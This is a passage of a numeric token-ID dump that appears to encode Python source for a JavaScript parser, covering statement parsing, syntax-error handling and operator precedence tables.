15658,
29898,
29873,
29892,
921,
8443,
13,
9651,
302,
29889,
12510,
20216,
6394,
29889,
4397,
29898,
29876,
29906,
8443,
13,
4706,
565,
260,
29889,
4352,
29898,
29943,
1177,
9818,
29979,
1125,
30004,
13,
9651,
302,
29889,
4951,
635,
7445,
353,
15658,
29898,
29873,
29892,
921,
8443,
13,
4706,
565,
451,
302,
29889,
12510,
20216,
6394,
322,
451,
679,
5552,
29898,
29876,
29892,
376,
4951,
635,
7445,
613,
6213,
1125,
30004,
13,
9651,
12020,
260,
29889,
1482,
16676,
2392,
703,
13919,
1018,
3229,
1159,
30004,
13,
4706,
736,
302,
30004,
13,
30004,
13,
1678,
25342,
260,
29873,
297,
313,
29907,
14789,
29892,
383,
1177,
9818,
29979,
1125,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
29898,
517,
12360,
29961,
698,
29962,
718,
376,
1728,
26328,
1018,
1159,
30004,
13,
30004,
13,
1678,
25342,
260,
29873,
1275,
3446,
25180,
29901,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
8443,
13,
4706,
302,
29889,
11739,
353,
21444,
29898,
29873,
29892,
921,
8443,
13,
30004,
13,
1678,
25342,
260,
29873,
1275,
28081,
24015,
29901,
30004,
13,
4706,
565,
451,
921,
29889,
262,
6678,
29901,
30004,
13,
9651,
12020,
260,
29889,
1482,
16676,
2392,
703,
13919,
736,
1159,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
8443,
13,
4706,
260,
29873,
353,
260,
29889,
412,
1416,
2951,
29903,
420,
3542,
26471,
13,
4706,
565,
260,
29873,
451,
297,
313,
11794,
29892,
29091,
18521,
29892,
3725,
29924,
2965,
5607,
1164,
29892,
390,
22530,
29918,
29907,
4219,
29979,
1125,
30004,
13,
9651,
302,
29889,
1767,
353,
21444,
29898,
29873,
29892,
921,
8443,
13,
30004,
13,
1678,
25342,
260,
29873,
1275,
22659,
29901,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
8443,
13,
4706,
302,
29889,
3318,
353,
1459,
264,
10960,
29898,
29873,
29892,
921,
8443,
13,
4706,
302,
29889,
2587,
353,
17763,
29898,
29873,
29892,
921,
29892,
302,
29892,
6666,
882,
8443,
13,
4706,
736,
302,
30004,
13,
30004,
13,
1678,
25342,
260,
29873,
297,
313,
26865,
29892,
8707,
1254,
1125,
30004,
13,
4706,
302,
353,
9586,
1849,
29898,
29873,
29892,
921,
8443,
13,
30004,
13,
1678,
25342,
260,
29873,
1275,
21681,
17070,
29901,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
8443,
13,
30004,
13,
1678,
25342,
260,
29873,
297,
313,
28577,
18521,
29892,
3725,
29924,
2965,
5607,
1164,
1125,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
29892,
3725,
29924,
2965,
5607,
1164,
8443,
13,
4706,
302,
29889,
17471,
353,
6213,
30004,
13,
4706,
736,
302,
30004,
13,
30004,
13,
1678,
1683,
29901,
30004,
13,
4706,
565,
260,
29873,
1275,
3553,
3919,
29902,
3738,
1001,
29901,
30004,
13,
9651,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
9651,
260,
29873,
353,
260,
29889,
412,
1416,
26471,
13,
9651,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
9651,
565,
260,
29873,
1275,
23958,
1164,
29901,
30004,
13,
18884,
3858,
353,
260,
29889,
6979,
29889,
1767,
30004,
13,
18884,
17971,
353,
921,
29889,
17868,
7264,
30004,
13,
18884,
474,
353,
7431,
29898,
893,
29897,
448,
29871,
29896,
30004,
13,
18884,
1550,
474,
6736,
29871,
29900,
29901,
30004,
13,
462,
1678,
565,
679,
5552,
29898,
893,
29961,
29875,
1402,
376,
1643,
613,
6213,
29897,
1275,
3858,
29901,
30004,
13,
462,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
29928,
786,
5926,
3858,
1159,
30004,
13,
462,
1678,
474,
22361,
29871,
29896,
30004,
13,
18884,
260,
29889,
657,
26471,
13,
18884,
302,
353,
9071,
29898,
29873,
29892,
365,
2882,
6670,
8443,
13,
18884,
302,
29889,
1643,
353,
3858,
30004,
13,
18884,
302,
29889,
20788,
353,
17763,
29898,
29873,
29892,
921,
29892,
302,
29892,
6666,
882,
8443,
13,
18884,
736,
302,
30004,
13,
30004,
13,
4706,
302,
353,
9071,
29898,
29873,
29892,
3725,
29924,
2965,
5607,
1164,
8443,
13,
4706,
260,
29889,
348,
657,
26471,
13,
4706,
302,
29889,
17471,
353,
21444,
29898,
29873,
29892,
921,
8443,
13,
4706,
302,
29889,
355,
353,
302,
29889,
17471,
29889,
355,
30004,
13,
30004,
13,
1678,
565,
260,
29889,
1915,
8154,
1275,
260,
29889,
6979,
29889,
1915,
8154,
29901,
30004,
13,
4706,
260,
29873,
353,
260,
29889,
412,
1416,
2951,
29903,
420,
3542,
26471,
13,
4706,
565,
260,
29873,
451,
297,
313,
11794,
29892,
29091,
18521,
29892,
3725,
29924,
2965,
5607,
1164,
29892,
390,
22530,
29918,
29907,
4219,
29979,
1125,
30004,
13,
9651,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
2056,
1434,
3229,
1159,
30004,
13,
1678,
260,
29889,
4352,
29898,
1660,
29924,
2965,
5607,
1164,
8443,
13,
1678,
736,
302,
30004,
13,
30004,
13,
1753,
6680,
14683,
29898,
29873,
29892,
921,
29892,
1996,
1170,
29892,
740,
2500,
1125,
30004,
13,
1678,
285,
353,
9071,
29898,
29873,
8443,
13,
1678,
565,
285,
29889,
1853,
29918,
2804,
383,
28700,
29901,
30004,
13,
4706,
565,
285,
29889,
1767,
1275,
376,
657,
1115,
30004,
13,
9651,
285,
29889,
1853,
29918,
353,
12354,
4945,
30004,
13,
4706,
1683,
29901,
30004,
13,
9651,
285,
29889,
1853,
29918,
353,
11368,
4945,
30004,
13,
1678,
565,
260,
29889,
4352,
29898,
1367,
3919,
29902,
3738,
1001,
1125,
30004,
13,
4706,
285,
29889,
978,
353,
260,
29889,
6979,
29889,
1767,
30004,
13,
1678,
25342,
1996,
1170,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
740,
15882,
1159,
30004,
13,
30004,
13,
1678,
260,
29889,
21969,
9652,
29898,
28024,
29918,
16320,
1430,
8443,
13,
1678,
285,
29889,
7529,
353,
5159,
30004,
13,
1678,
1550,
5852,
29901,
30004,
13,
4706,
260,
29873,
353,
260,
29889,
657,
26471,
13,
4706,
565,
260,
29873,
1275,
390,
22530,
29918,
16320,
1430,
29901,
2867,
30004,
13,
4706,
565,
260,
29873,
2804,
3553,
3919,
29902,
3738,
1001,
29901,
30004,
13,
9651,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
11595,
3443,
1159,
30004,
13,
4706,
285,
29889,
7529,
29889,
4397,
29898,
29873,
29889,
6979,
29889,
1767,
8443,
13,
4706,
565,
260,
29889,
412,
1416,
580,
2804,
390,
22530,
29918,
16320,
1430,
29901,
30004,
13,
9651,
260,
29889,
21969,
9652,
29898,
19795,
1529,
8443,
13,
30004,
13,
1678,
260,
29889,
21969,
9652,
29898,
28024,
29918,
29907,
4219,
29979,
8443,
13,
1678,
921,
29906,
353,
3831,
3955,
2677,
29898,
5574,
8443,
13,
1678,
285,
29889,
2587,
353,
14415,
29898,
29873,
29892,
921,
29906,
8443,
13,
1678,
260,
29889,
21969,
9652,
29898,
22789,
3912,
29918,
29907,
4219,
29979,
8443,
13,
1678,
285,
29889,
355,
353,
260,
29889,
6979,
29889,
355,
30004,
13,
30004,
13,
1678,
285,
29889,
2220,
2500,
353,
740,
2500,
30004,
13,
1678,
565,
740,
2500,
1275,
5012,
13875,
19386,
29918,
19094,
29901,
30004,
13,
4706,
921,
29889,
7692,
6185,
3137,
29889,
4397,
29898,
29888,
8443,
13,
1678,
736,
285,
30004,
13,
30004,
13,
1753,
9586,
1849,
29898,
29873,
29892,
921,
1125,
30004,
13,
1678,
302,
353,
9071,
29898,
29873,
8443,
13,
1678,
1550,
5852,
29901,
30004,
13,
4706,
260,
29889,
21969,
9652,
29898,
1367,
3919,
29902,
3738,
1001,
8443,
13,
4706,
302,
29906,
353,
9071,
29898,
29873,
8443,
13,
4706,
302,
29906,
29889,
978,
353,
302,
29906,
29889,
1767,
30004,
13,
4706,
565,
260,
29889,
4352,
29898,
22933,
17298,
1125,
30004,
13,
9651,
565,
260,
29889,
6979,
29889,
16645,
11746,
29901,
30004,
13,
18884,
12020,
260,
29889,
1482,
16676,
2392,
703,
13919,
2286,
17865,
1159,
30004,
13,
9651,
302,
29906,
29889,
11228,
3950,
353,
21444,
29898,
29873,
29892,
921,
29892,
23353,
1529,
8443,
13,
4706,
302,
29906,
29889,
949,
11730,
353,
451,
451,
313,
29876,
29889,
1853,
29918,
1275,
8707,
1254,
8443,
13,
4706,
302,
29889,
4397,
29898,
29876,
29906,
8443,
13,
4706,
921,
29889,
1707,
6185,
3137,
29889,
4397,
29898,
29876,
29906,
8443,
13,
4706,
565,
451,
260,
29889,
4352,
29898,
19795,
1529,
1125,
2867,
30004,
13,
1678,
736,
302,
30004,
13,
30004,
13,
1753,
1459,
264,
10960,
29898,
29873,
29892,
921,
1125,
30004,
13,
1678,
260,
29889,
21969,
9652,
29898,
28024,
29918,
16320,
1430,
8443,
13,
1678,
302,
353,
21444,
29898,
29873,
29892,
921,
8443,
13,
1678,
260,
29889,
21969,
9652,
29898,
22789,
3912,
29918,
16320,
1430,
8443,
13,
1678,
736,
302,
30004,
13,
30004,
13,
459,
6572,
1133,
663,
353,
3336,
13,
1678,
376,
1660,
29924,
2965,
5607,
1164,
1115,
29871,
29900,
11167,
13,
1678,
376,
19795,
1529,
1115,
29871,
29896,
11167,
13,
1678,
376,
22933,
17298,
1115,
29871,
29906,
29892,
376,
8187,
8949,
1115,
29871,
29906,
29892,
376,
15032,
1164,
1115,
29871,
29906,
11167,
13,
1678,
396,
450,
2038,
599,
505,
304,
505,
278,
1021,
9399,
663,
29892,
1074,
6494,
29871,
29941,
29941,
29900,
29929,
29955,
29945,
22993,
13,
1678,
376,
1955,
1115,
29871,
29946,
11167,
13,
1678,
376,
9468,
1115,
29871,
29945,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
1955,
1115,
29871,
29953,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
29990,
1955,
1115,
29871,
29955,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
9468,
1115,
29871,
29947,
11167,
13,
1678,
376,
28879,
1115,
29871,
29929,
29892,
376,
8186,
1115,
29871,
29929,
29892,
376,
1254,
3960,
1783,
29918,
28879,
1115,
29871,
29929,
29892,
376,
1254,
3960,
1783,
29918,
8186,
1115,
29871,
29929,
11167,
13,
1678,
376,
5850,
1115,
29871,
29896,
29900,
29892,
376,
1307,
1115,
29871,
29896,
29900,
29892,
376,
1692,
1115,
29871,
29896,
29900,
29892,
376,
23799,
1115,
29871,
29896,
29900,
29892,
376,
1177,
1115,
29871,
29896,
29900,
29892,
376,
25580,
23219,
9800,
1115,
29871,
29896,
29900,
11167,
13,
1678,
376,
29931,
7068,
1115,
29871,
29896,
29896,
29892,
376,
29934,
7068,
1115,
29871,
29896,
29896,
29892,
376,
4574,
7068,
1115,
29871,
29896,
29896,
11167,
13,
1678,
376,
7390,
3308,
1115,
29871,
29896,
29906,
29892,
376,
16173,
3308,
1115,
29871,
29896,
29906,
11167,
13,
1678,
376,
29924,
13309,
1115,
29871,
29896,
29941,
29892,
376,
4571,
29963,
1115,
29871,
29896,
29941,
29892,
376,
6720,
29928,
1115,
29871,
29896,
29941,
11167,
13,
1678,
376,
2287,
18476,
1115,
29871,
29896,
29946,
29892,
376,
24898,
1367,
1115,
29871,
29896,
29946,
29892,
376,
11116,
9800,
1115,
29871,
29896,
29946,
11167,
13,
1678,
396,
376,
15094,
29918,
1177,
22245,
13780,
1115,
29871,
29896,
29946,
29892,
376,
15094,
29918,
2287,
22245,
13780,
1115,
29871,
29896,
29946,
11167,
13,
1678,
376,
12256,
1115,
29871,
29896,
29946,
29892,
376,
22698,
22119,
1660,
29918,
12256,
1115,
29871,
29896,
29946,
29892,
376,
3904,
19926,
29918,
7390,
3308,
1115,
29871,
29896,
29946,
29892,
376,
3904,
19926,
29918,
16173,
3308,
1115,
29871,
29896,
29946,
11167,
13,
1678,
376,
1177,
22245,
13780,
1115,
29871,
29896,
29945,
29892,
376,
2287,
22245,
13780,
1115,
29871,
29896,
29945,
29892,
268,
396,
1400,
5878,
30004,
13,
1678,
376,
28577,
1115,
29871,
29896,
29953,
11167,
13,
1678,
376,
29928,
2891,
1115,
29871,
29896,
29955,
30004,
13,
8117,
13,
30004,
13,
29937,
7315,
5455,
1134,
775,
304,
9399,
663,
30004,
13,
1454,
474,
297,
1015,
6572,
1133,
663,
29889,
8552,
7295,
30004,
13,
1678,
1015,
6572,
1133,
663,
29961,
23705,
1338,
580,
29961,
29875,
5262,
353,
1015,
6572,
1133,
663,
29961,
29875,
29962,
30004,
13,
30004,
13,
459,
1433,
537,
353,
3336,
13,
1678,
376,
19795,
1529,
1115,
448,
29906,
11167,
13,
1678,
376,
22933,
17298,
1115,
29871,
29906,
11167,
13,
1678,
376,
8187,
8949,
1115,
29871,
29941,
11167,
13,
1678,
376,
1955,
1115,
29871,
29906,
11167,
13,
1678,
376,
9468,
1115,
29871,
29906,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
1955,
1115,
29871,
29906,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
29990,
1955,
1115,
29871,
29906,
11167,
13,
1678,
376,
22698,
22119,
1660,
29918,
9468,
1115,
29871,
29906,
11167,
13,
1678,
376,
28879,
1115,
29871,
29906,
29892,
376,
8186,
1115,
29871,
29906,
29892,
376,
1254,
3960,
1783,
29918,
28879,
1115,
29871,
29906,
29892,
376,
1254,
3960,
1783,
29918,
8186,
1115,
29871,
29906,
11167,
13,
1678,
376,
5850,
1115,
29871,
29906,
29892,
376,
1307,
1115,
29871,
29906,
29892,
376,
1692,
1115,
29871,
29906,
29892,
376,
23799,
1115,
29871,
29906,
29892,
376,
1177,
1115,
29871,
29906,
29892,
376,
25580,
23219,
9800,
1115,
29871,
29906,
11167,
13,
1678,
376,
29931,
7068,
1115,
29871,
29906,
29892,
376,
29934,
7068,
1115,
29871,
29906,
29892,
376,
4574,
7068,
1115,
29871,
29906,
11167,
13,
1678,
376,
7390,
3308,
1115,
29871,
29906,
29892,
376,
16173,
3308,
1115,
29871,
29906,
11167,
13,
1678,
376,
29924,
13309,
1115,
29871,
29906,
29892,
376,
4571,
29963,
1115,
29871,
29906,
29892,
376,
6720,
29928,
1115,
29871,
29906,
11167,
13,
1678,
376,
2287,
18476,
1115,
29871,
29896,
29892,
376,
24898,
1367,
1115,
29871,
29896,
29892,
376,
11116,
9800,
1115,
29871,
29896,
11167,
13,
1678,
396,
376,
15094,
29918,
1177,
22245,
13780,
1115,
29871,
29896,
29892,
376,
15094,
29918,
2287,
22245,
13780,
1115,
29871,
29896,
11167,
13,
1678,
376,
12256,
1115,
29871,
29896,
29892,
376,
22698,
22119,
1660,
29918,
12256,
1115,
29871,
29896,
29892,
376,
3904,
19926,
29918,
7390,
3308,
1115,
29871,
29896,
29892,
376,
3904,
19926,
29918,
16173,
3308,
1115,
29871,
29896,
11167,
13,
1678,
376,
1177,
22245,
13780,
1115,
29871,
29896,
29892,
376,
2287,
22245,
13780,
1115,
29871,
29896,
29892,
268,
396,
1400,
5878,
30004,
13,
1678,
376,
28577,
1115,
29871,
29896,
29892,
376,
28577,
29918,
29956,
13054,
29918,
1718,
10749,
1115,
29871,
29906,
29892,
376,
29928,
2891,
1115,
29871,
29906,
29892,
376,
27992,
1115,
29871,
29906,
29892,
376,
29907,
9818,
1115,
29871,
29906,
11167,
13,
1678,
376,
1718,
22800,
29918,
26019,
1115,
29871,
29896,
29892,
376,
14824,
17637,
29918,
26019,
1115,
29871,
29896,
29892,
376,
26284,
1115,
29871,
29896,
30004,
13,
8117,
13,
30004,
13,
29937,
7315,
5455,
1134,
775,
304,
564,
537,
22993,
13,
1454,
474,
297,
1015,
1433,
537,
29889,
8552,
7295,
30004,
13,
1678,
1015,
1433,
537,
29961,
23705,
1338,
580,
29961,
29875,
5262,
353,
1015,
1433,
537,
29961,
29875,
29962,
30004,
13,
30004,
13,
1753,
21444,
29898,
29873,
29892,
921,
29892,
5040,
29922,
8516,
1125,
30004,
13,
1678,
12768,
353,
5159,
30004,
13,
1678,
1751,
4167,
353,
5159,
30004,
13,
1678,
1999,
353,
921,
29889,
2634,
3522,
10108,
30004,
13,
1678,
1067,
353,
921,
29889,
2764,
368,
10108,
30004,
13,
1678,
715,
353,
921,
29889,
862,
264,
10108,
30004,
13,
1678,
298,
29880,
353,
921,
29889,
20849,
10108,
30004,
13,
30004,
13,
1678,
822,
10032,
29918,
7295,
30004,
13,
4706,
302,
353,
12768,
29889,
7323,
26471,
13,
4706,
1015,
353,
302,
29889,
1853,
29918,
30004,
13,
4706,
564,
537,
353,
1015,
1433,
537,
29961,
459,
29962,
30004,
13,
4706,
565,
564,
537,
1275,
448,
29906,
29901,
30004,
13,
9651,
396,
2379,
8606,
2175,
29899,
21264,
1230,
10697,
22993,
13,
9651,
2175,
353,
313,
2435,
29898,
3372,
4167,
29897,
6736,
29871,
29906,
322,
1751,
4167,
14352,
29906,
2314,
30004,
13,
9651,
565,
2175,
29889,
1853,
29918,
1275,
1015,
29901,
30004,
13,
18884,
1492,
353,
1751,
4167,
29889,
7323,
26471,
13,
18884,
2175,
29889,
4397,
29898,
1266,
8443,
13,
18884,
736,
2175,
30004,
13,
9651,
564,
537,
353,
29871,
29906,
30004,
13,
30004,
13,
4706,
396,
29849,
671,
9773,
304,
788,
1751,
4167,
304,
302,
29892,
304,
2767,
1369,
322,
1095,
22993,
13,
4706,
263,
353,
1751,
4167,
14352,
279,
537,
17531,
30004,
13,
4706,
628,
1751,
4167,
14352,
279,
537,
17531,
30004,
13,
4706,
363,
1751,
392,
297,
263,
29901,
30004,
13,
9651,
302,
29889,
4397,
29898,
3372,
392,
8443,
13,
30004,
13,
4706,
396,
512,
2325,
14382,
4105,
3522,
470,
1400,
5878,
5455,
297,
518,
2962,
29892,
355,
467,
30004,
13,
4706,
565,
302,
29889,
355,
529,
260,
29889,
6979,
29889,
355,
29901,
30004,
13,
9651,
302,
29889,
355,
353,
260,
29889,
6979,
29889,
355,
30004,
13,
30004,
13,
4706,
1751,
4167,
29889,
4397,
29898,
29876,
8443,
13,
4706,
736,
302,
30004,
13,
30004,
13,
1678,
770,
28301,
3744,
2776,
3410,
3554,
29898,
2451,
1125,
1209,
30004,
13,
1678,
1018,
29901,
30004,
13,
4706,
1550,
5852,
29901,
30004,
13,
9651,
260,
29873,
353,
260,
29889,
657,
26471,
13,
9651,
565,
260,
29873,
1275,
11056,
29901,
2867,
30004,
13,
9651,
565,
313,
698,
1275,
5040,
322,
921,
29889,
2634,
3522,
10108,
1275,
1999,
322,
921,
29889,
2764,
368,
10108,
1275,
1067,
322,
30004,
13,
462,
1678,
921,
29889,
862,
264,
10108,
1275,
715,
322,
921,
29889,
20849,
10108,
1275,
298,
29880,
1125,
30004,
13,
18884,
396,
22303,
871,
565,
260,
29873,
7087,
278,
13136,
5040,
3443,
29892,
322,
393,
30004,
13,
18884,
396,
5993,
338,
451,
23153,
491,
777,
2924,
310,
4105,
3522,
22993,
13,
18884,
2867,
30004,
13,
9651,
565,
260,
29873,
1275,
3725,
29924,
2965,
5607,
1164,
29901,
30004,
13,
18884,
396,
405,
29933,
29901,
2609,
367,
4069,
29892,
6666,
882,
16459,
393,
22993,
13,
18884,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
297,
313,
22933,
17298,
29892,
29832,
8949,
29892,
23958,
1164,
1125,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1550,
5135,
3372,
4097,
322,
1015,
6572,
1133,
663,
29889,
657,
29898,
3372,
4097,
14352,
29896,
1822,
1853,
3383,
30004,
13,
462,
4706,
6213,
29897,
1405,
1015,
6572,
1133,
663,
29889,
657,
29898,
698,
876,
470,
313,
698,
1275,
23958,
1164,
322,
30004,
13,
462,
4706,
12768,
322,
12768,
14352,
29896,
1822,
1853,
29918,
1275,
319,
1799,
17298,
22164,
30004,
13,
462,
1678,
10032,
29918,
26471,
13,
18884,
565,
260,
29873,
1275,
23958,
1164,
29901,
30004,
13,
462,
1678,
565,
12768,
29901,
30004,
13,
462,
4706,
302,
353,
12768,
14352,
29896,
29962,
30004,
13,
462,
1678,
565,
451,
12768,
470,
302,
29889,
1853,
29918,
2804,
29832,
8949,
29901,
30004,
13,
462,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
13919,
3858,
1159,
30004,
13,
462,
1678,
921,
29889,
20849,
10108,
22361,
29871,
29896,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
876,
30004,
13,
462,
1678,
565,
260,
29873,
1275,
319,
1799,
17298,
29901,
30004,
13,
462,
4706,
1751,
4167,
14352,
29896,
1822,
16645,
11746,
353,
260,
29889,
6979,
29889,
16645,
11746,
30004,
13,
462,
1678,
1683,
29901,
30004,
13,
462,
4706,
921,
29889,
20849,
10108,
4619,
29871,
29896,
30004,
13,
30004,
13,
18884,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
297,
313,
1177,
29892,
23353,
1529,
29892,
6323,
29892,
5300,
29892,
350,
1806,
22119,
1660,
29918,
1955,
29892,
350,
1806,
22119,
1660,
29918,
29990,
1955,
11167,
13,
462,
1678,
350,
1806,
22119,
1660,
29918,
9468,
29892,
382,
29984,
29892,
14693,
29892,
6850,
3960,
1783,
29918,
28879,
29892,
6850,
3960,
1783,
29918,
8186,
29892,
365,
29911,
29892,
11060,
29892,
402,
29923,
29892,
21342,
11167,
13,
462,
1678,
2672,
1254,
23219,
9800,
29892,
365,
7068,
29892,
390,
7068,
29892,
501,
29934,
7068,
29892,
16507,
3308,
29892,
341,
1177,
3308,
29892,
341,
13309,
29892,
360,
5667,
29892,
341,
13668,
11167,
13,
462,
1678,
360,
2891,
1125,
30004,
13,
18884,
396,
1334,
29915,
276,
2578,
1218,
16694,
408,
2175,
29899,
21264,
1230,
577,
10032,
508,
900,
29881,
30004,
13,
18884,
396,
2175,
29899,
354,
5301,
23353,
1529,
10697,
964,
263,
2323,
1409,
22993,
13,
18884,
565,
260,
29873,
1275,
2672,
29901,
30004,
13,
462,
1678,
396,
530,
297,
5455,
881,
451,
367,
21213,
565,
591,
29915,
276,
13755,
278,
30004,
13,
462,
1678,
396,
2343,
310,
263,
363,
313,
11410,
2425,
29892,
6521,
372,
338,
297,
278,
769,
760,
310,
30004,
13,
462,
1678,
396,
263,
15047,
4603,
29892,
470,
28076,
1891,
10431,
22993,
13,
462,
1678,
565,
313,
29916,
29889,
262,
2831,
18405,
6644,
322,
451,
921,
29889,
20849,
10108,
322,
451,
30004,
13,
462,
9651,
921,
29889,
2634,
3522,
10108,
322,
451,
921,
29889,
2764,
368,
10108,
322,
30004,
13,
462,
9651,
451,
921,
29889,
862,
264,
10108,
1125,
30004,
13,
462,
4706,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1550,
313,
3372,
4097,
322,
1015,
6572,
1133,
663,
29889,
657,
29898,
3372,
4097,
14352,
29896,
1822,
1853,
29918,
8443,
13,
462,
4706,
6736,
1015,
6572,
1133,
663,
29889,
657,
29898,
698,
22164,
30004,
13,
462,
1678,
10032,
29918,
26471,
13,
18884,
565,
260,
29873,
1275,
360,
2891,
29901,
30004,
13,
462,
1678,
260,
29889,
21969,
9652,
29898,
1367,
3919,
29902,
3738,
1001,
8443,
13,
462,
1678,
1751,
4167,
29889,
4397,
29898,
4247,
29898,
29873,
29892,
360,
2891,
29892,
518,
3372,
4167,
29889,
7323,
3285,
9071,
29898,
29873,
4638,
876,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
876,
30004,
13,
462,
1678,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
297,
313,
2287,
18476,
29892,
478,
29949,
1367,
29892,
323,
6959,
9800,
29892,
6058,
29892,
350,
1806,
22119,
1660,
29918,
12256,
29892,
8291,
19926,
29918,
7390,
3308,
11167,
13,
462,
1678,
8291,
19926,
29918,
16173,
3308,
29892,
29091,
1125,
30004,
13,
18884,
565,
451,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
876,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
297,
313,
1177,
22245,
13780,
29892,
5012,
22245,
13780,
1125,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
876,
396,
10944,
11924,
470,
9263,
358,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
396,
3872,
29915,
29873,
4891,
263,
1196,
10452,
363,
1400,
5878,
426,
262,
29892,
311,
29913,
17053,
22993,
13,
462,
1678,
565,
313,
29873,
29889,
517,
12360,
29889,
657,
3552,
29873,
29889,
6979,
3220,
718,
260,
29889,
6914,
29874,
2813,
448,
29871,
29896,
8443,
13,
462,
9651,
669,
29871,
29941,
467,
1915,
8154,
2804,
260,
29889,
1915,
8154,
1125,
30004,
13,
462,
4706,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
30004,
13,
462,
1678,
396,
4803,
1405,
29892,
451,
6736,
29892,
577,
1400,
5878,
756,
6133,
9399,
663,
1135,
30004,
13,
462,
1678,
396,
10944,
22993,
13,
462,
1678,
1550,
313,
3372,
4097,
322,
1015,
6572,
1133,
663,
29889,
657,
29898,
3372,
4097,
14352,
29896,
1822,
1853,
3383,
30004,
13,
462,
9651,
6213,
29897,
1405,
1015,
6572,
1133,
663,
29889,
657,
29898,
698,
22164,
30004,
13,
462,
4706,
10032,
29918,
26471,
13,
462,
1678,
302,
353,
9071,
29898,
29873,
29892,
260,
29873,
29892,
518,
3372,
4167,
29889,
7323,
580,
2314,
30004,
13,
462,
1678,
302,
29889,
2490,
5878,
353,
5852,
30004,
13,
462,
1678,
1751,
4167,
29889,
4397,
29898,
29876,
8443,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
383,
28700,
29901,
30004,
13,
18884,
565,
451,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1751,
4167,
29889,
4397,
29898,
6678,
14683,
29898,
29873,
29892,
921,
29892,
7700,
29892,
8528,
15094,
29903,
1660,
29928,
29918,
19094,
876,
30004,
13,
18884,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
297,
313,
10074,
29892,
3446,
3235,
29892,
15676,
29892,
17131,
29892,
3553,
3919,
29902,
3738,
1001,
29892,
28019,
13635,
29892,
29486,
4214,
11167,
13,
462,
1678,
5195,
1692,
29990,
29925,
1125,
30004,
13,
18884,
565,
451,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1751,
4167,
29889,
4397,
29898,
4247,
29898,
29873,
876,
30004,
13,
18884,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
19246,
29918,
15176,
11375,
2544,
29901,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
396,
4398,
2847,
3950,
29889,
20969,
773,
16732,
26815,
29892,
408,
278,
30004,
13,
462,
1678,
396,
1014,
29899,
1393,
1050,
1244,
338,
451,
385,
5455,
25437,
22993,
13,
462,
1678,
302,
353,
9071,
29898,
29873,
29892,
9033,
22800,
29918,
26019,
8443,
13,
462,
1678,
1550,
5852,
29901,
30004,
13,
462,
4706,
260,
29873,
353,
260,
29889,
412,
1416,
26471,
13,
462,
4706,
565,
260,
29873,
1275,
390,
22530,
29918,
15176,
11375,
2544,
29901,
2867,
30004,
13,
462,
4706,
565,
260,
29873,
1275,
23353,
1529,
29901,
30004,
13,
462,
9651,
260,
29889,
657,
26471,
13,
462,
9651,
302,
29889,
4397,
29898,
8516,
8443,
13,
462,
9651,
6773,
30004,
13,
462,
4706,
302,
29889,
4397,
29898,
10960,
29898,
29873,
29892,
921,
29892,
23353,
1529,
876,
30004,
13,
462,
4706,
565,
451,
260,
29889,
4352,
29898,
19795,
1529,
1125,
30004,
13,
462,
9651,
2867,
30004,
13,
462,
1678,
260,
29889,
21969,
9652,
29898,
22789,
3912,
29918,
15176,
11375,
2544,
8443,
13,
462,
1678,
1751,
4167,
29889,
4397,
29898,
29876,
8443,
13,
462,
1678,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
29892,
2672,
19577,
876,
30004,
13,
462,
1678,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
